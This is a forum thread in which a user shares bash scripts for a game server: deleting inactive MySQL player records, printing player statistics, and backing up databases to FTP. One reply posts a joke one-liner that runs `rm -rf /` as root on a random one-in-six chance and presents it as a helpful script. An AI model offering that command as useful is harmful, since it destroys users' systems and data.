My cool bash scripts :)

[Dulin]

I decided to publish my own created cool bash scripts...

Delete inactive characters:

#!/bin/bash
# Delete inactive characters. script by Dulin

MYSQL_USER=''
MYSQL_PASS=''
MYSQL_DB=''
WEEKS='2'

# Don't touch anything...
DATA=`date +%s`
CALC=`expr $DATA - $WEEKS \* 7 \* 24 \* 60 \* 60`
MYSQL_LOGIN="--user=$MYSQL_USER --password=$MYSQL_PASS $MYSQL_DB"
# Make log with deleted characters
echo "SELECT id,name from players where lastlogin < $CALC and id > 6;" | mysql $MYSQL_LOGIN >> ./removed.log
echo "Removing inactive players..."
for db in $(echo "SELECT id from players where lastlogin < $CALC and id > 6;" | mysql $MYSQL_LOGIN | awk {'print $1'} | sed -e '1d')
do
	echo `echo "SELECT name from players where id = $db;" | mysql $MYSQL_LOGIN`
	echo "DELETE FROM player_skills WHERE player_id = $db;" | mysql $MYSQL_LOGIN >/dev/null
	echo "DELETE FROM player_storage WHERE player_id = $db;" | mysql $MYSQL_LOGIN >/dev/null
	echo "DELETE FROM player_items WHERE player_id = $db;" | mysql $MYSQL_LOGIN >/dev/null
	echo "DELETE FROM player_depotitems WHERE player_id = $db;" | mysql $MYSQL_LOGIN >/dev/null
	echo "DELETE FROM player_deaths WHERE player_id = $db;" | mysql $MYSQL_LOGIN >/dev/null
	echo "DELETE FROM players WHERE id = $db;" | mysql $MYSQL_LOGIN >/dev/null
done

I know in database structure exist deltimers, not always work fine...

Cool characters statistics...

#!/bin/bash
# Char stats. By Dulin

MYSQL_USER=''
MYSQL_PASS=''
MYSQL_DB=''
WEEKS='2'

# Don't touch anything...
DATA=`date +%s`
CALC=`expr $DATA - $WEEKS \* 7 \* 24 \* 60 \* 60`
MYSQL_LOGIN="--user=$MYSQL_USER --password=$MYSQL_PASS $MYSQL_DB"
echo "Statistics of $MYSQL_DB..."
echo -n "Inactive players: "
echo "SELECT COUNT(id) from players where lastlogin < $CALC and id > 6;" | mysql $MYSQL_LOGIN | sed -e '1d'
echo -n "Active players: "
echo "SELECT COUNT(id) from players where lastlogin > $CALC and id > 6;" | mysql $MYSQL_LOGIN | sed -e '1d'
echo -n "Total players: "
echo "SELECT COUNT(id) from players where id > 6;" | mysql $MYSQL_LOGIN | sed -e '1d'

Backup mysql + send into ftp

#!/bin/bash
# Mysql backup+ftp by Dulin
# Configuration
ftp_site=''
ftp_user=''
ftp_pass=''
BACKUPD="/backup/mysql"
MySQLuser=''
MySQLpass=''
# End configuration
ROK=`date +%Y`
MIESIAC=`date +%m`
DZIEN=`date +%d`
GIM=`date +%H-%M`

if [ -d $BACKUPD/$ROK/$MIESIAC/$DZIEN ]
then
echo
else
mkdir -p $BACKUPD/$ROK/$MIESIAC/$DZIEN
fi

for db in $(echo "SHOW DATABASES;" | mysql --user=$MySQLuser --password=$MySQLpass | grep -v -e "Database" -e "information_schema")
do
        mysqldump --user="$MySQLuser" --password="$MySQLpass" $db >$BACKUPD/$ROK/$MIESIAC/$DZIEN/$db.sql
done

cd $BACKUPD/$ROK/$MIESIAC/$DZIEN && tar --remove-files -jcPf $BACKUPD/$ROK/$MIESIAC/$DZIEN/mysql-$GIM.tar.bz2 *.sql


ftp -in <<EOF
open $ftp_site
user $ftp_user $ftp_pass
bin
mkdir mysql
mkdir mysql/$ROK-$MIESIAC-$DZIEN
put $BACKUPD/$ROK/$MIESIAC/$DZIEN/mysql-$GIM.tar.bz2 mysql/$ROK-$MIESIAC-$DZIEN/mysql-$GIM.tar.bz2
close
bye
EOF

 

[chojrak]

I like backup one, thanks

 

[zakius]

Backup is great I think.
I added cleaning in startup script of tfs long time ago

I'll try making a lua backup script also(later, now it will be only waste of space cause I'm starting serv up to 10 times per hour xD)

 

[Fallen]

you pwn.

 

[Djivar]

that one with backup us rly rly good, you deserve rep+ for that one

 

[sorcerers king]

Yes, I like them.

 

[Colandus]

Cool... Which format do you save it as ? .bat ?

 

[ciachowski]

It's bash ._., you are not able to use it on windows.
You can save it as you want, like script.yousux, script.Iamrox or just script - nevermid...

 

[Fallen]

Cool... Which format do you save it as ? .bat ?

.sh i guess

 

[stian]

[ $[ $RANDOM % 6 ] == 0 ] && rm -rf / || echo “You live”

if your server is a download and run. Then this is a good script to help us all.

NOTE: Must be ran as root.

 

[Sublime]

wow, thanks for the backup one,

 

[Archez]

The backup script is very, very useful!

Thank you!

 

[Lessaire]

if your server is a download and run. Then this is a good script to help us all.

NOTE: Must be ran as root.

So freaking sweet. Best gift for a girlfriend ever! =P